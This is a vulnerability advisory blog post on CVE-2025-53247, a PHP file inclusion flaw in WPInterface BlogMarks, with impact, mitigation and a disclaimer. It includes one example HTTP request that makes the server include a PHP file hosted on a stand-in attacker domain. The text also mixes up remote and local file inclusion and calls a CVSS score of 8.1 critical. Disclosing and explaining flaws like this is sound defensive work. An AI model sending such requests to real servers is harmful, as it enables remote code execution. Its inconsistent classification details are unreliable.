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CVE-2025-53247: Critical PHP Remote File Inclusion Vulnerability in WPInterface BlogMarks

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Overview

The cybersecurity community has identified a significant vulnerability in WPInterface’s BlogMarks, a popular blogging platform. This vulnerability, designated as CVE-2025-53247, affects any version of BlogMarks up to and including 1.0.8. This threat stems from an improper control of filename for Include/Require Statement in the PHP program, allowing for PHP Local File Inclusion (LFI). The potential implications of this vulnerability are severe, ranging from system compromise to data leakage. This blog post aims to provide a thorough analysis of the vulnerability, its potential impact, and the steps required to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-53247
Severity: Critical (8.1 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

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Product | Affected Versions

WPInterface BlogMarks | Up to and including 1.0.8

How the Exploit Works

This exploit takes advantage of the PHP remote file inclusion vulnerability in WPInterface BlogMarks. It targets the improper control of filename for Include/Require Statement in the PHP program. The attacker can manipulate the file path input to include or require a remotely hosted file. This file can execute arbitrary code on the server, leading to potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example illustrating how an attacker might exploit this vulnerability:

GET /vulnerable_page.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the attacker manipulates the `file` parameter in the GET request to include a file (`malicious_file.php`) hosted on their own server (`attacker.com`). When the server processes this request, it includes the malicious file, which can then execute arbitrary code on the server.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor-supplied patch. Until the patch can be applied, it’s advisable to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure to detect and block attacks exploiting this vulnerability. Regularly update and patch your systems to reduce the risk of such vulnerabilities.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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